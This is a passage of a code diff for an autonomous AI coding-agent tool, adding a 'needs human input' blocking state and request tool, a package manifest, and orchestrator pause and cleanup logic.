|
die(
|
||||||
|
'Dev mode requires a cloned repository.\n' +
|
||||||
|
' Clone from https://github.com/paperlinguist/autocoder and run start_ui.sh'
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// "config" subcommand
|
||||||
|
if (args[0] === 'config') {
|
||||||
|
handleConfig(args.slice(1));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse flags for server start
|
||||||
|
const host = getFlagValue(args, '--host') || '127.0.0.1';
|
||||||
|
const portStr = getFlagValue(args, '--port');
|
||||||
|
const port = portStr ? Number(portStr) : null;
|
||||||
|
const noBrowser = args.includes('--no-browser');
|
||||||
|
const repair = args.includes('--repair');
|
||||||
|
|
||||||
|
if (port !== null && (!Number.isFinite(port) || port < 1 || port > 65535)) {
|
||||||
|
die('Invalid port number. Must be between 1 and 65535.');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Print banner
|
||||||
|
console.log('');
|
||||||
|
log(`AutoForge v${VERSION}`);
|
||||||
|
console.log('');
|
||||||
|
|
||||||
|
startServer({ port, host, noBrowser, repair });
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Argument parsing helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract the value following a flag from the args array.
|
||||||
|
* E.g. getFlagValue(['--port', '9000', '--host', '0.0.0.0'], '--port') => '9000'
|
||||||
|
*/
|
||||||
|
function getFlagValue(args, flag) {
|
||||||
|
const idx = args.indexOf(flag);
|
||||||
|
if (idx === -1 || idx + 1 >= args.length) return null;
|
||||||
|
return args[idx + 1];
|
||||||
|
}
|
||||||
@@ -151,17 +151,20 @@ def feature_get_stats() -> str:
|
|||||||
result = session.query(
|
result = session.query(
|
||||||
func.count(Feature.id).label('total'),
|
func.count(Feature.id).label('total'),
|
||||||
func.sum(case((Feature.passes == True, 1), else_=0)).label('passing'),
|
func.sum(case((Feature.passes == True, 1), else_=0)).label('passing'),
|
||||||
func.sum(case((Feature.in_progress == True, 1), else_=0)).label('in_progress')
|
func.sum(case((Feature.in_progress == True, 1), else_=0)).label('in_progress'),
|
||||||
|
func.sum(case((Feature.needs_human_input == True, 1), else_=0)).label('needs_human_input')
|
||||||
).first()
|
).first()
|
||||||
|
|
||||||
total = result.total or 0
|
total = result.total or 0
|
||||||
passing = int(result.passing or 0)
|
passing = int(result.passing or 0)
|
||||||
in_progress = int(result.in_progress or 0)
|
in_progress = int(result.in_progress or 0)
|
||||||
|
needs_human_input = int(result.needs_human_input or 0)
|
||||||
percentage = round((passing / total) * 100, 1) if total > 0 else 0.0
|
percentage = round((passing / total) * 100, 1) if total > 0 else 0.0
|
||||||
|
|
||||||
return json.dumps({
|
return json.dumps({
|
||||||
"passing": passing,
|
"passing": passing,
|
||||||
"in_progress": in_progress,
|
"in_progress": in_progress,
|
||||||
|
"needs_human_input": needs_human_input,
|
||||||
"total": total,
|
"total": total,
|
||||||
"percentage": percentage
|
"percentage": percentage
|
||||||
})
|
})
|
||||||
@@ -221,6 +224,7 @@ def feature_get_summary(
|
|||||||
"name": feature.name,
|
"name": feature.name,
|
||||||
"passes": feature.passes,
|
"passes": feature.passes,
|
||||||
"in_progress": feature.in_progress,
|
"in_progress": feature.in_progress,
|
||||||
|
"needs_human_input": feature.needs_human_input if feature.needs_human_input is not None else False,
|
||||||
"dependencies": feature.dependencies or []
|
"dependencies": feature.dependencies or []
|
||||||
})
|
})
|
||||||
finally:
|
finally:
|
||||||
@@ -401,11 +405,11 @@ def feature_mark_in_progress(
|
|||||||
"""
|
"""
|
||||||
session = get_session()
|
session = get_session()
|
||||||
try:
|
try:
|
||||||
# Atomic claim: only succeeds if feature is not already claimed or passing
|
# Atomic claim: only succeeds if feature is not already claimed, passing, or blocked for human input
|
||||||
result = session.execute(text("""
|
result = session.execute(text("""
|
||||||
UPDATE features
|
UPDATE features
|
||||||
SET in_progress = 1
|
SET in_progress = 1
|
||||||
WHERE id = :id AND passes = 0 AND in_progress = 0
|
WHERE id = :id AND passes = 0 AND in_progress = 0 AND needs_human_input = 0
|
||||||
"""), {"id": feature_id})
|
"""), {"id": feature_id})
|
||||||
session.commit()
|
session.commit()
|
||||||
|
|
||||||
@@ -418,6 +422,8 @@ def feature_mark_in_progress(
|
|||||||
return json.dumps({"error": f"Feature with ID {feature_id} is already passing"})
|
return json.dumps({"error": f"Feature with ID {feature_id} is already passing"})
|
||||||
if feature.in_progress:
|
if feature.in_progress:
|
||||||
return json.dumps({"error": f"Feature with ID {feature_id} is already in-progress"})
|
return json.dumps({"error": f"Feature with ID {feature_id} is already in-progress"})
|
||||||
|
if getattr(feature, 'needs_human_input', False):
|
||||||
|
return json.dumps({"error": f"Feature with ID {feature_id} is blocked waiting for human input"})
|
||||||
return json.dumps({"error": "Failed to mark feature in-progress for unknown reason"})
|
return json.dumps({"error": "Failed to mark feature in-progress for unknown reason"})
|
||||||
|
|
||||||
# Fetch the claimed feature
|
# Fetch the claimed feature
|
||||||
@@ -455,11 +461,14 @@ def feature_claim_and_get(
|
|||||||
if feature.passes:
|
if feature.passes:
|
||||||
return json.dumps({"error": f"Feature with ID {feature_id} is already passing"})
|
return json.dumps({"error": f"Feature with ID {feature_id} is already passing"})
|
||||||
|
|
||||||
# Try atomic claim: only succeeds if not already claimed
|
if getattr(feature, 'needs_human_input', False):
|
||||||
|
return json.dumps({"error": f"Feature with ID {feature_id} is blocked waiting for human input"})
|
||||||
|
|
||||||
|
# Try atomic claim: only succeeds if not already claimed and not blocked for human input
|
||||||
result = session.execute(text("""
|
result = session.execute(text("""
|
||||||
UPDATE features
|
UPDATE features
|
||||||
SET in_progress = 1
|
SET in_progress = 1
|
||||||
WHERE id = :id AND passes = 0 AND in_progress = 0
|
WHERE id = :id AND passes = 0 AND in_progress = 0 AND needs_human_input = 0
|
||||||
"""), {"id": feature_id})
|
"""), {"id": feature_id})
|
||||||
session.commit()
|
session.commit()
|
||||||
|
|
||||||
@@ -806,6 +815,8 @@ def feature_get_ready(
|
|||||||
for f in all_features:
|
for f in all_features:
|
||||||
if f.passes or f.in_progress:
|
if f.passes or f.in_progress:
|
||||||
continue
|
continue
|
||||||
|
if getattr(f, 'needs_human_input', False):
|
||||||
|
continue
|
||||||
deps = f.dependencies or []
|
deps = f.dependencies or []
|
||||||
if all(dep_id in passing_ids for dep_id in deps):
|
if all(dep_id in passing_ids for dep_id in deps):
|
||||||
ready.append(f.to_dict())
|
ready.append(f.to_dict())
|
||||||
@@ -888,6 +899,8 @@ def feature_get_graph() -> str:
|
|||||||
|
|
||||||
if f.passes:
|
if f.passes:
|
||||||
status = "done"
|
status = "done"
|
||||||
|
elif getattr(f, 'needs_human_input', False):
|
||||||
|
status = "needs_human_input"
|
||||||
elif blocking:
|
elif blocking:
|
||||||
status = "blocked"
|
status = "blocked"
|
||||||
elif f.in_progress:
|
elif f.in_progress:
|
||||||
@@ -984,5 +997,145 @@ def feature_set_dependencies(
|
|||||||
return json.dumps({"error": f"Failed to set dependencies: {str(e)}"})
|
return json.dumps({"error": f"Failed to set dependencies: {str(e)}"})
|
||||||
|
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def feature_request_human_input(
|
||||||
|
feature_id: Annotated[int, Field(description="The ID of the feature that needs human input", ge=1)],
|
||||||
|
prompt: Annotated[str, Field(min_length=1, description="Explain what you need from the human and why")],
|
||||||
|
fields: Annotated[list[dict], Field(min_length=1, description="List of input fields to collect")]
|
||||||
|
) -> str:
|
||||||
|
"""Request structured input from a human for a feature that is blocked.
|
||||||
|
|
||||||
|
Use this ONLY when the feature genuinely cannot proceed without human intervention:
|
||||||
|
- Creating API keys or external accounts
|
||||||
|
- Choosing between design approaches that require human preference
|
||||||
|
- Configuring external services the agent cannot access
|
||||||
|
- Providing credentials or secrets
|
||||||
|
|
||||||
|
Do NOT use this for issues you can solve yourself (debugging, reading docs, etc.).
|
||||||
|
|
||||||
|
The feature will be moved out of in_progress and into a "needs human input" state.
|
||||||
|
Once the human provides their response, the feature returns to the pending queue
|
||||||
|
and will include the human's response when you pick it up again.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
feature_id: The ID of the feature that needs human input
|
||||||
|
prompt: A clear explanation of what you need and why
|
||||||
|
fields: List of input fields, each with:
|
||||||
|
- id (str): Unique field identifier
|
||||||
|
- label (str): Human-readable label
|
||||||
|
- type (str): "text", "textarea", "select", or "boolean" (default: "text")
|
||||||
|
- required (bool): Whether the field is required (default: true)
|
||||||
|
- placeholder (str, optional): Placeholder text
|
||||||
|
- options (list, optional): For select type: [{value, label}]
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
JSON with success confirmation or error message
|
||||||
|
"""
|
||||||
|
# Validate fields
|
||||||
|
VALID_FIELD_TYPES = {"text", "textarea", "select", "boolean"}
|
||||||
|
seen_ids: set[str] = set()
|
||||||
|
for i, field in enumerate(fields):
|
||||||
|
if "id" not in field or "label" not in field:
|
||||||
|
return json.dumps({"error": f"Field at index {i} missing required 'id' or 'label'"})
|
||||||
|
fid = field["id"]
|
||||||
|
flabel = field["label"]
|
||||||
|
if not isinstance(fid, str) or not fid.strip():
|
||||||
|
return json.dumps({"error": f"Field at index {i} has empty or invalid 'id'"})
|
||||||
|
if not isinstance(flabel, str) or not flabel.strip():
|
||||||
|
return json.dumps({"error": f"Field at index {i} has empty or invalid 'label'"})
|
||||||
|
if fid in seen_ids:
|
||||||
|
return json.dumps({"error": f"Duplicate field id '{fid}' at index {i}"})
|
||||||
|
seen_ids.add(fid)
|
||||||
|
ftype = field.get("type", "text")
|
||||||
|
if ftype not in VALID_FIELD_TYPES:
|
||||||
|
return json.dumps({"error": f"Field at index {i} has invalid type '{ftype}'. Must be one of: {', '.join(sorted(VALID_FIELD_TYPES))}"})
|
||||||
|
if ftype == "select":
|
||||||
|
options = field.get("options")
|
||||||
|
if not options or not isinstance(options, list):
|
||||||
|
return json.dumps({"error": f"Field at index {i} is type 'select' but missing or invalid 'options' array"})
|
||||||
|
for j, opt in enumerate(options):
|
||||||
|
if not isinstance(opt, dict):
|
||||||
|
return json.dumps({"error": f"Field at index {i}, option {j} must be an object with 'value' and 'label'"})
|
||||||
|
if "value" not in opt or "label" not in opt:
|
||||||
|
return json.dumps({"error": f"Field at index {i}, option {j} missing required 'value' or 'label'"})
|
||||||
|
if not isinstance(opt["value"], str) or not opt["value"].strip():
|
||||||
|
return json.dumps({"error": f"Field at index {i}, option {j} has empty or invalid 'value'"})
|
||||||
|
if not isinstance(opt["label"], str) or not opt["label"].strip():
|
||||||
|
return json.dumps({"error": f"Field at index {i}, option {j} has empty or invalid 'label'"})
|
||||||
|
elif field.get("options"):
|
||||||
|
return json.dumps({"error": f"Field at index {i} has 'options' but type is '{ftype}' (only 'select' uses options)"})
|
||||||
|
|
||||||
|
request_data = {
|
||||||
|
"prompt": prompt,
|
||||||
|
"fields": fields,
|
||||||
|
}
|
||||||
|
|
||||||
|
session = get_session()
|
||||||
|
try:
|
||||||
|
# Atomically set needs_human_input, clear in_progress, store request, clear previous response
|
||||||
|
result = session.execute(text("""
|
||||||
|
UPDATE features
|
||||||
|
SET needs_human_input = 1,
|
||||||
|
in_progress = 0,
|
||||||
|
human_input_request = :request,
|
||||||
|
human_input_response = NULL
|
||||||
|
WHERE id = :id AND passes = 0 AND in_progress = 1
|
||||||
|
"""), {"id": feature_id, "request": json.dumps(request_data)})
|
||||||
|
session.commit()
|
||||||
|
|
||||||
|
if result.rowcount == 0:
|
||||||
|
feature = session.query(Feature).filter(Feature.id == feature_id).first()
|
||||||
|
if feature is None:
|
||||||
|
return json.dumps({"error": f"Feature with ID {feature_id} not found"})
|
||||||
|
if feature.passes:
|
||||||
|
return json.dumps({"error": f"Feature with ID {feature_id} is already passing"})
|
||||||
|
if not feature.in_progress:
|
||||||
|
return json.dumps({"error": f"Feature with ID {feature_id} is not in progress"})
|
||||||
|
return json.dumps({"error": "Failed to request human input for unknown reason"})
|
||||||
|
|
||||||
|
feature = session.query(Feature).filter(Feature.id == feature_id).first()
|
||||||
|
return json.dumps({
|
||||||
|
"success": True,
|
||||||
|
"feature_id": feature_id,
|
||||||
|
"name": feature.name,
|
||||||
|
"message": f"Feature '{feature.name}' is now blocked waiting for human input"
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
session.rollback()
|
||||||
|
return json.dumps({"error": f"Failed to request human input: {str(e)}"})
|
||||||
|
finally:
|
||||||
|
session.close()
|
||||||
|
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def ask_user(
|
||||||
|
questions: Annotated[list[dict], Field(description="List of questions to ask, each with question, header, options (list of {label, description}), and multiSelect (bool)")]
|
||||||
|
) -> str:
|
||||||
|
"""Ask the user structured questions with selectable options.
|
||||||
|
|
||||||
|
Use this when you need clarification or want to offer choices to the user.
|
||||||
|
Each question has a short header, the question text, and 2-4 clickable options.
|
||||||
|
The user's selections will be returned as your next message.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
questions: List of questions, each with:
|
||||||
|
- question (str): The question to ask
|
||||||
|
- header (str): Short label (max 12 chars)
|
||||||
|
- options (list): Each with label (str) and description (str)
|
||||||
|
- multiSelect (bool): Allow multiple selections (default false)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Acknowledgment that questions were presented to the user
|
||||||
|
"""
|
||||||
|
# Validate input
|
||||||
|
for i, q in enumerate(questions):
|
||||||
|
if not all(key in q for key in ["question", "header", "options"]):
|
||||||
|
return json.dumps({"error": f"Question at index {i} missing required fields"})
|
||||||
|
if len(q["options"]) < 2 or len(q["options"]) > 4:
|
||||||
|
return json.dumps({"error": f"Question at index {i} must have 2-4 options"})
|
||||||
|
|
||||||
|
return "Questions presented to the user. Their response will arrive as your next message."
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
mcp.run()
|
mcp.run()
|
||||||
|
|||||||
55
package.json
Normal file
55
package.json
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
{
|
||||||
|
"name": "autoforge-ai",
|
||||||
|
"version": "0.1.16",
|
||||||
|
"description": "Autonomous coding agent with web UI - build complete apps with AI",
|
||||||
|
"license": "AGPL-3.0",
|
||||||
|
"bin": {
|
||||||
|
"autoforge": "./bin/autoforge.js"
|
||||||
|
},
|
||||||
|
"type": "module",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=20"
|
||||||
|
},
|
||||||
|
"files": [
|
||||||
|
"bin/",
|
||||||
|
"lib/",
|
||||||
|
"api/",
|
||||||
|
"server/",
|
||||||
|
"mcp_server/",
|
||||||
|
"ui/dist/",
|
||||||
|
"ui/package.json",
|
||||||
|
".claude/commands/",
|
||||||
|
".claude/skills/",
|
||||||
|
".claude/templates/",
|
||||||
|
"examples/",
|
||||||
|
"start.py",
|
||||||
|
"agent.py",
|
||||||
|
"auth.py",
|
||||||
|
"autoforge_paths.py",
|
||||||
|
"autonomous_agent_demo.py",
|
||||||
|
"client.py",
|
||||||
|
"env_constants.py",
|
||||||
|
"parallel_orchestrator.py",
|
||||||
|
"progress.py",
|
||||||
|
"prompts.py",
|
||||||
|
"registry.py",
|
||||||
|
"rate_limit_utils.py",
|
||||||
|
"security.py",
|
||||||
|
"temp_cleanup.py",
|
||||||
|
"requirements-prod.txt",
|
||||||
|
"pyproject.toml",
|
||||||
|
".env.example",
|
||||||
|
"!**/__pycache__/",
|
||||||
|
"!**/*.pyc"
|
||||||
|
],
|
||||||
|
"keywords": [
|
||||||
|
"ai",
|
||||||
|
"coding-agent",
|
||||||
|
"claude",
|
||||||
|
"autonomous",
|
||||||
|
"code-generation"
|
||||||
|
],
|
||||||
|
"scripts": {
|
||||||
|
"prepublishOnly": "npm --prefix ui install && npm --prefix ui run build"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -40,11 +40,11 @@ from server.utils.process_utils import kill_process_tree
|
|||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
# Root directory of autocoder (where this script and autonomous_agent_demo.py live)
|
# Root directory of autoforge (where this script and autonomous_agent_demo.py live)
|
||||||
AUTOCODER_ROOT = Path(__file__).parent.resolve()
|
AUTOFORGE_ROOT = Path(__file__).parent.resolve()
|
||||||
|
|
||||||
# Debug log file path
|
# Debug log file path
|
||||||
DEBUG_LOG_FILE = AUTOCODER_ROOT / "orchestrator_debug.log"
|
DEBUG_LOG_FILE = AUTOFORGE_ROOT / "orchestrator_debug.log"
|
||||||
|
|
||||||
|
|
||||||
class DebugLogger:
|
class DebugLogger:
|
||||||
@@ -194,6 +194,7 @@ class ParallelOrchestrator:
|
|||||||
# Legacy alias for backward compatibility
|
# Legacy alias for backward compatibility
|
||||||
self.running_agents = self.running_coding_agents
|
self.running_agents = self.running_coding_agents
|
||||||
self.abort_events: dict[int, threading.Event] = {}
|
self.abort_events: dict[int, threading.Event] = {}
|
||||||
|
self._testing_session_counter = 0
|
||||||
self.is_running = False
|
self.is_running = False
|
||||||
|
|
||||||
# Track feature failures to prevent infinite retry loops
|
# Track feature failures to prevent infinite retry loops
|
||||||
@@ -212,6 +213,9 @@ class ParallelOrchestrator:
|
|||||||
# Signal handlers only set this flag; cleanup happens in the main loop
|
# Signal handlers only set this flag; cleanup happens in the main loop
|
||||||
self._shutdown_requested = False
|
self._shutdown_requested = False
|
||||||
|
|
||||||
|
# Graceful pause (drain mode) flag
|
||||||
|
self._drain_requested = False
|
||||||
|
|
||||||
# Session tracking for logging/debugging
|
# Session tracking for logging/debugging
|
||||||
self.session_start_time: datetime | None = None
|
self.session_start_time: datetime | None = None
|
||||||
|
|
||||||
@@ -492,6 +496,9 @@ class ParallelOrchestrator:
|
|||||||
for fd in feature_dicts:
|
for fd in feature_dicts:
|
||||||
if not fd.get("in_progress") or fd.get("passes"):
|
if not fd.get("in_progress") or fd.get("passes"):
|
||||||
continue
|
continue
|
||||||
|
# Skip if blocked for human input
|
||||||
|
if fd.get("needs_human_input"):
|
||||||
|
continue
|
||||||
# Skip if already running in this orchestrator instance
|
# Skip if already running in this orchestrator instance
|
||||||
if fd["id"] in running_ids:
|
if fd["id"] in running_ids:
|
||||||
continue
|
continue
|
||||||
@@ -536,11 +543,14 @@ class ParallelOrchestrator:
|
|||||||
running_ids.update(batch_ids)
|
running_ids.update(batch_ids)
|
||||||
|
|
||||||
ready = []
|
ready = []
|
||||||
skipped_reasons = {"passes": 0, "in_progress": 0, "running": 0, "failed": 0, "deps": 0}
|
skipped_reasons = {"passes": 0, "in_progress": 0, "running": 0, "failed": 0, "deps": 0, "needs_human_input": 0}
|
||||||
for fd in feature_dicts:
|
for fd in feature_dicts:
|
||||||
if fd.get("passes"):
|
if fd.get("passes"):
|
||||||
skipped_reasons["passes"] += 1
|
skipped_reasons["passes"] += 1
|
||||||
continue
|
continue
|
||||||
|
if fd.get("needs_human_input"):
|
||||||
|
skipped_reasons["needs_human_input"] += 1
|
||||||
|
continue
|
||||||
if fd.get("in_progress"):
|
if fd.get("in_progress"):
|
||||||
skipped_reasons["in_progress"] += 1
|
skipped_reasons["in_progress"] += 1
|
||||||
continue
|
continue
|
||||||
@@ -823,7 +833,7 @@ class ParallelOrchestrator:
|
|||||||
cmd = [
|
cmd = [
|
||||||
sys.executable,
|
sys.executable,
|
||||||
"-u", # Force unbuffered stdout/stderr
|
"-u", # Force unbuffered stdout/stderr
|
||||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||||
"--project-dir", str(self.project_dir),
|
"--project-dir", str(self.project_dir),
|
||||||
"--max-iterations", "1",
|
"--max-iterations", "1",
|
||||||
"--agent-type", "coding",
|
"--agent-type", "coding",
|
||||||
@@ -846,7 +856,7 @@ class ParallelOrchestrator:
|
|||||||
"encoding": "utf-8",
|
"encoding": "utf-8",
|
||||||
"errors": "replace",
|
"errors": "replace",
|
||||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "NODE_COMPILE_CACHE": "", "PLAYWRIGHT_CLI_SESSION": f"coding-{feature_id}"},
|
||||||
}
|
}
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
@@ -889,7 +899,7 @@ class ParallelOrchestrator:
|
|||||||
cmd = [
|
cmd = [
|
||||||
sys.executable,
|
sys.executable,
|
||||||
"-u",
|
"-u",
|
||||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||||
"--project-dir", str(self.project_dir),
|
"--project-dir", str(self.project_dir),
|
||||||
"--max-iterations", "1",
|
"--max-iterations", "1",
|
||||||
"--agent-type", "coding",
|
"--agent-type", "coding",
|
||||||
@@ -909,7 +919,7 @@ class ParallelOrchestrator:
|
|||||||
"encoding": "utf-8",
|
"encoding": "utf-8",
|
||||||
"errors": "replace",
|
"errors": "replace",
|
||||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "NODE_COMPILE_CACHE": "", "PLAYWRIGHT_CLI_SESSION": f"coding-{primary_id}"},
|
||||||
}
|
}
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
@@ -992,7 +1002,7 @@ class ParallelOrchestrator:
|
|||||||
cmd = [
|
cmd = [
|
||||||
sys.executable,
|
sys.executable,
|
||||||
"-u",
|
"-u",
|
||||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||||
"--project-dir", str(self.project_dir),
|
"--project-dir", str(self.project_dir),
|
||||||
"--max-iterations", "1",
|
"--max-iterations", "1",
|
||||||
"--agent-type", "testing",
|
"--agent-type", "testing",
|
||||||
@@ -1013,8 +1023,9 @@ class ParallelOrchestrator:
|
|||||||
"encoding": "utf-8",
|
"encoding": "utf-8",
|
||||||
"errors": "replace",
|
"errors": "replace",
|
||||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "NODE_COMPILE_CACHE": "", "PLAYWRIGHT_CLI_SESSION": f"testing-{self._testing_session_counter}"},
|
||||||
}
|
}
|
||||||
|
self._testing_session_counter += 1
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
|
|
||||||
@@ -1053,7 +1064,7 @@ class ParallelOrchestrator:
|
|||||||
|
|
||||||
cmd = [
|
cmd = [
|
||||||
sys.executable, "-u",
|
sys.executable, "-u",
|
||||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||||
"--project-dir", str(self.project_dir),
|
"--project-dir", str(self.project_dir),
|
||||||
"--agent-type", "initializer",
|
"--agent-type", "initializer",
|
||||||
"--max-iterations", "1",
|
"--max-iterations", "1",
|
||||||
@@ -1073,8 +1084,8 @@ class ParallelOrchestrator:
|
|||||||
"text": True,
|
"text": True,
|
||||||
"encoding": "utf-8",
|
"encoding": "utf-8",
|
||||||
"errors": "replace",
|
"errors": "replace",
|
||||||
"cwd": str(AUTOCODER_ROOT),
|
"cwd": str(AUTOFORGE_ROOT),
|
||||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
"env": {**os.environ, "PYTHONUNBUFFERED": "1", "NODE_COMPILE_CACHE": ""},
|
||||||
}
|
}
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
||||||
@@ -1160,6 +1171,19 @@ class ParallelOrchestrator:
|
|||||||
debug_log.log("CLEANUP", f"Error killing process tree for {agent_type} agent", error=str(e))
|
debug_log.log("CLEANUP", f"Error killing process tree for {agent_type} agent", error=str(e))
|
||||||
self._on_agent_complete(feature_id, proc.returncode, agent_type, proc)
|
self._on_agent_complete(feature_id, proc.returncode, agent_type, proc)
|
||||||
|
|
||||||
|
def _run_inter_session_cleanup(self):
|
||||||
|
"""Run lightweight cleanup between agent sessions.
|
||||||
|
|
||||||
|
Removes stale temp files and project screenshots to prevent
|
||||||
|
disk space accumulation during long overnight runs.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from temp_cleanup import cleanup_project_screenshots, cleanup_stale_temp
|
||||||
|
cleanup_stale_temp()
|
||||||
|
cleanup_project_screenshots(self.project_dir)
|
||||||
|
except Exception as e:
|
||||||
|
debug_log.log("CLEANUP", f"Inter-session cleanup failed (non-fatal): {e}")
|
||||||
|
|
||||||
def _signal_agent_completed(self):
|
def _signal_agent_completed(self):
|
||||||
"""Signal that an agent has completed, waking the main loop.
|
"""Signal that an agent has completed, waking the main loop.
|
||||||
|
|
||||||
@@ -1235,6 +1259,8 @@ class ParallelOrchestrator:
|
|||||||
pid=proc.pid,
|
pid=proc.pid,
|
||||||
feature_id=feature_id,
|
feature_id=feature_id,
|
||||||
status=status)
|
status=status)
|
||||||
|
# Run lightweight cleanup between sessions
|
||||||
|
self._run_inter_session_cleanup()
|
||||||
# Signal main loop that an agent slot is available
|
# Signal main loop that an agent slot is available
|
||||||
self._signal_agent_completed()
|
self._signal_agent_completed()
|
||||||
return
|
return
|
||||||
@@ -1301,6 +1327,8 @@ class ParallelOrchestrator:
|
|||||||
else:
|
else:
|
||||||
print(f"Feature #{feature_id} {status}", flush=True)
|
print(f"Feature #{feature_id} {status}", flush=True)
|
||||||
|
|
||||||
|
# Run lightweight cleanup between sessions
|
||||||
|
self._run_inter_session_cleanup()
|
||||||
# Signal main loop that an agent slot is available
|
# Signal main loop that an agent slot is available
|
||||||
self._signal_agent_completed()
|
self._signal_agent_completed()
|
||||||
|
|
||||||
@@ -1368,6 +1396,9 @@ class ParallelOrchestrator:
|
|||||||
# Must happen before any debug_log.log() calls
|
# Must happen before any debug_log.log() calls
|
||||||
debug_log.start_session()
|
debug_log.start_session()
|
||||||
|
|
||||||
|
# Clear any stale drain signal from a previous session
|
||||||
|
self._clear_drain_signal()
|
||||||
|
|
||||||
# Log startup to debug file
|
# Log startup to debug file
|
||||||
debug_log.section("ORCHESTRATOR STARTUP")
|
debug_log.section("ORCHESTRATOR STARTUP")
|
||||||
debug_log.log("STARTUP", "Orchestrator run_loop starting",
|
debug_log.log("STARTUP", "Orchestrator run_loop starting",
|
||||||
@@ -1489,6 +1520,34 @@ class ParallelOrchestrator:
|
|||||||
print("\nAll features complete!", flush=True)
|
print("\nAll features complete!", flush=True)
|
||||||
break
|
break
|
||||||
|
|
||||||
|
# --- Graceful pause (drain mode) ---
|
||||||
|
if not self._drain_requested and self._check_drain_signal():
|
||||||
|
self._drain_requested = True
|
||||||
|
print("Graceful pause requested - draining running agents...", flush=True)
|
||||||
|
debug_log.log("DRAIN", "Graceful pause requested, draining running agents")
|
||||||
|
|
||||||
|
if self._drain_requested:
|
||||||
|
with self._lock:
|
||||||
|
coding_count = len(self.running_coding_agents)
|
||||||
|
testing_count = len(self.running_testing_agents)
|
||||||
|
|
||||||
|
if coding_count == 0 and testing_count == 0:
|
||||||
|
print("All agents drained - paused.", flush=True)
|
||||||
|
debug_log.log("DRAIN", "All agents drained, entering paused state")
|
||||||
|
# Wait until signal file is removed (resume) or shutdown
|
||||||
|
while self._check_drain_signal() and self.is_running and not self._shutdown_requested:
|
||||||
|
await asyncio.sleep(1)
|
||||||
|
if not self.is_running or self._shutdown_requested:
|
||||||
|
break
|
||||||
|
self._drain_requested = False
|
||||||
|
print("Resuming from graceful pause...", flush=True)
|
||||||
|
debug_log.log("DRAIN", "Resuming from graceful pause")
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
debug_log.log("DRAIN", f"Waiting for agents to finish: coding={coding_count}, testing={testing_count}")
|
||||||
|
await self._wait_for_agent_completion()
|
||||||
|
continue
|
||||||
|
|
||||||
# Maintain testing agents independently (runs every iteration)
|
# Maintain testing agents independently (runs every iteration)
|
||||||
self._maintain_testing_agents(feature_dicts)
|
self._maintain_testing_agents(feature_dicts)
|
||||||
|
|
||||||
@@ -1613,6 +1672,17 @@ class ParallelOrchestrator:
|
|||||||
"yolo_mode": self.yolo_mode,
|
"yolo_mode": self.yolo_mode,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
def _check_drain_signal(self) -> bool:
|
||||||
|
"""Check if the graceful pause (drain) signal file exists."""
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
return get_pause_drain_path(self.project_dir).exists()
|
||||||
|
|
||||||
|
def _clear_drain_signal(self) -> None:
|
||||||
|
